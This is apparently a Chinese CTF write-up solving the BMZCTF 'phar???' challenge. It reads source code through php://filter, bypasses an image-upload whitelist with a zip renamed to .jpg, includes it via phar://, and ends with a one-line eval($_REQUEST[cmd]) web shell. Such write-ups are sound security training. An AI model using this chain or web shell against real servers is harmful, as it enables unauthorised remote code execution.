BMZCTF phar???

聽夢外雪花飛發表於2022-03-31
pchar???
補充知識點

開始這題之前我們先補充一個知識點

phar 的檔案包含 和上面類似先建立一個phar 標準包,使用 PharData 來建立,然後新增檔案進去phar裡面。 然後在檔案包含的函式裡面 可控的話 ,使用phar://xxxx/xxx 就可以實現檔案包含了

解題

進入題目檢視原始碼發現一個介面我們去訪問看一下

 

 

 

然後我們在include.php中檢視原始碼又發現一個頁面upload.php

 

 

 

 兩個頁面訪問結果如下

 

 

 估計是通過upload.php上傳的內容然後通過include.php包含進來,我們先來試試檔案包含

 

 

 

基本確定是檔案包含了但是他會在你輸入的檔名後面+.php

既然這樣那我們嘗試使用php://filter/協議讀取原始碼試試

include.php?file=php://filter/convert.base64-encode/resource=include

將原始碼讀出我們進行base64解碼得到如下原始碼

<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>

這裡發現過濾掉了http,data,ftp,input,%00,..並且長度不能大於70

然後我們再去讀一下upload.php

<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br> 
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>

這裡採用白名單過濾的方法進行檔案上傳再根據題目名稱為phar我們來試試

首先我們寫一個

<?php phpinfo();?>

然後我們將這個php檔案壓縮成zip的壓縮包

 

 之後將zip壓縮包的字尾改為.jpg然後進行上傳

 

 上傳成功然後我們使用phar進行檔案包含

http://www.bmzclub.cn:23627/include.php?file=phar://upload/1.jpg/1

 

 成功執行下面我們將phpinfo改為木馬即可

<?php    echo "hack!";    eval($_REQUEST[cmd]);?>

 

 上傳成功,下面我們使用hackbar執行指令即可